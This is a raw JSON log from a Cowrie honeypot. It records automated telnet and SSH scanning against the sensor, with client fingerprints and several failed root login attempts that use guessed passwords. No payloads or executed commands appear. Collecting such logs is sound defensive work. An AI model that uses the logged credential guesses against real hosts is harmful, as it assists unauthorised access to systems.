{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49372,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb02adcf937","protocol":"telnet","message":"New connection: 192.119.13.58:49372 (10.17.0.5:23) [session: eeb02adcf937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:42.061626Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54378,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a112faa8bb","protocol":"telnet","message":"New connection: 192.119.13.58:54378 (10.17.0.5:23) [session: c0a112faa8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:43.296525Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63180,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d9e84272941","protocol":"ssh","message":"New connection: 152.42.212.128:63180 (10.17.0.5:22) [session: 9d9e84272941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:45.021142Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:45.029339Z","src_ip":"152.42.212.128","session":"9d9e84272941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:45.033001Z","src_ip":"152.42.212.128","session":"9d9e84272941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46178,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c45b5886f9","protocol":"telnet","message":"New connection: 192.119.13.58:46178 (10.17.0.5:23) [session: 78c45b5886f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:48.507718Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":4325,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f2874fd3e1","protocol":"ssh","message":"New connection: 115.68.226.124:4325 (10.17.0.5:22) [session: 76f2874fd3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.365317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.369216Z","src_ip":"115.68.226.124","session":"76f2874fd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57970,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a5aaf248a7","protocol":"telnet","message":"New connection: 192.119.13.58:57970 (10.17.0.5:23) [session: 22a5aaf248a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.450786Z"}
{"eventid":"cowrie.session.closed","duration":0.005274057388305664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.455937Z","src_ip":"192.119.13.58","session":"22a5aaf248a7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.569117Z","src_ip":"115.68.226.124","session":"76f2874fd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59446,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a271bee504","protocol":"telnet","message":"New connection: 192.119.13.58:59446 (10.17.0.5:23) [session: d6a271bee504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:51.837862Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e2004bf21a","protocol":"telnet","message":"New connection: 192.119.13.58:60480 (10.17.0.5:23) [session: a1e2004bf21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:52.124351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dusan","message":"login attempt [root/dusan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:52.407050Z","src_ip":"115.68.226.124","session":"76f2874fd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:53.625779Z","src_ip":"115.68.226.124","session":"76f2874fd3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35276,"dst_ip":"159.203.135.109","dst_port":22,"session":"73191d1d4fdb","protocol":"ssh","message":"New connection: 51.250.105.222:35276 (159.203.135.109:22) [session: 73191d1d4fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:55.685203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:55.690159Z","src_ip":"51.250.105.222","session":"73191d1d4fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46266,"dst_ip":"10.17.0.5","dst_port":23,"session":"be89b9ea2412","protocol":"telnet","message":"New connection: 192.119.13.58:46266 (10.17.0.5:23) [session: be89b9ea2412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:55.694614Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:55.821878Z","src_ip":"51.250.105.222","session":"73191d1d4fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345f","message":"login attempt [root/12345f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:56.218783Z","src_ip":"51.250.105.222","session":"73191d1d4fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:57.353905Z","src_ip":"51.250.105.222","session":"73191d1d4fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdcf587517d3","protocol":"telnet","message":"New connection: 192.119.13.58:39780 (10.17.0.5:23) [session: fdcf587517d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:00.826481Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56234,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6432411eea","protocol":"telnet","message":"New connection: 192.119.13.58:56234 (10.17.0.5:23) [session: 3f6432411eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:04.832894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44550,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d69e2139ffb","protocol":"telnet","message":"New connection: 192.119.13.58:44550 (10.17.0.5:23) [session: 4d69e2139ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:08.885591Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c0e0af98ec","protocol":"telnet","message":"New connection: 192.119.13.58:46590 (10.17.0.5:23) [session: 40c0e0af98ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:09.412419Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49824,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f15526169f0","protocol":"telnet","message":"New connection: 192.119.13.58:49824 (10.17.0.5:23) [session: 5f15526169f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:10.193434Z"}
{"eventid":"cowrie.session.closed","duration":2.650277614593506,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:12.062603Z","src_ip":"192.119.13.58","session":"40c0e0af98ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.64902853965759,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:20.178266Z","src_ip":"192.119.13.58","session":"d3de39e1e9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.109113931655884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:20.405508Z","src_ip":"192.119.13.58","session":"c0a112faa8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43490,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc98f43a6bc3","protocol":"telnet","message":"New connection: 192.119.13.58:43490 (10.17.0.5:23) [session: fc98f43a6bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:22.166788Z"}
{"eventid":"cowrie.session.closed","duration":41.26797938346863,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:23.329479Z","src_ip":"192.119.13.58","session":"eeb02adcf937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.53566813468933,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:23.830049Z","src_ip":"192.119.13.58","session":"8e9b0bdbe929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92258596420288,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:25.046850Z","src_ip":"192.119.13.58","session":"a1e2004bf21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.85693883895874,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:25.191227Z","src_ip":"192.119.13.58","session":"74d0842011a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56560,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a8a907ca76","protocol":"telnet","message":"New connection: 192.119.13.58:56560 (10.17.0.5:23) [session: 67a8a907ca76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:25.303543Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":52780,"dst_ip":"10.17.0.5","dst_port":22,"session":"d675427ea004","protocol":"ssh","message":"New connection: 81.9.145.130:52780 (10.17.0.5:22) [session: d675427ea004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:27.655970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:27.660765Z","src_ip":"81.9.145.130","session":"d675427ea004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:27.772191Z","src_ip":"81.9.145.130","session":"d675427ea004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sandiego","message":"login attempt [root/sandiego] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:28.252297Z","src_ip":"81.9.145.130","session":"d675427ea004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":40112,"dst_ip":"159.203.135.109","dst_port":22,"session":"aebe7773e6db","protocol":"ssh","message":"New connection: 87.251.79.125:40112 (159.203.135.109:22) [session: aebe7773e6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:28.651613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:28.656695Z","src_ip":"87.251.79.125","session":"aebe7773e6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:28.729162Z","src_ip":"87.251.79.125","session":"aebe7773e6db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yaroslav","message":"login attempt [root/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:28.947387Z","src_ip":"87.251.79.125","session":"aebe7773e6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:29.365299Z","src_ip":"81.9.145.130","session":"d675427ea004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:30.021380Z","src_ip":"87.251.79.125","session":"aebe7773e6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00241279602051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:30.696957Z","src_ip":"192.119.13.58","session":"be89b9ea2412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.631338119506836,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:35.138978Z","src_ip":"192.119.13.58","session":"78c45b5886f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.303035259246826,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:36.140762Z","src_ip":"192.119.13.58","session":"d6a271bee504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"3860b56297c9","protocol":"telnet","message":"New connection: 192.119.13.58:57062 (10.17.0.5:23) [session: 3860b56297c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:38.698406Z"}
{"eventid":"cowrie.session.closed","duration":38.10504674911499,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:38.931402Z","src_ip":"192.119.13.58","session":"fdcf587517d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35620,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31967d72512","protocol":"telnet","message":"New connection: 192.119.13.58:35620 (10.17.0.5:23) [session: b31967d72512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:40.291823Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42176,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd01ab29278d","protocol":"telnet","message":"New connection: 192.119.13.58:42176 (10.17.0.5:23) [session: cd01ab29278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:41.975664Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52752,"dst_ip":"10.17.0.5","dst_port":23,"session":"4851aaa32daa","protocol":"telnet","message":"New connection: 192.119.13.58:52752 (10.17.0.5:23) [session: 4851aaa32daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:44.531577Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6587c740e70","protocol":"telnet","message":"New connection: 192.119.13.58:54576 (10.17.0.5:23) [session: d6587c740e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:44.962089Z"}
{"eventid":"cowrie.session.closed","duration":37.2603280544281,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:46.145833Z","src_ip":"192.119.13.58","session":"4d69e2139ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.276623010635376,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:49.109365Z","src_ip":"192.119.13.58","session":"3f6432411eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.947453260421753,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:51.909417Z","src_ip":"192.119.13.58","session":"d6587c740e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46834,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fd7a21b1df","protocol":"telnet","message":"New connection: 192.119.13.58:46834 (10.17.0.5:23) [session: 10fd7a21b1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:56.500355Z"}
{"eventid":"cowrie.session.closed","duration":48.186509132385254,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:49:58.379829Z","src_ip":"192.119.13.58","session":"5f15526169f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51134,"dst_ip":"10.17.0.5","dst_port":22,"session":"964ede409a66","protocol":"ssh","message":"New connection: 193.32.162.145:51134 (10.17.0.5:22) [session: 964ede409a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:01.020687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:50:01.025853Z","src_ip":"193.32.162.145","session":"964ede409a66","protocol":"ssh"}
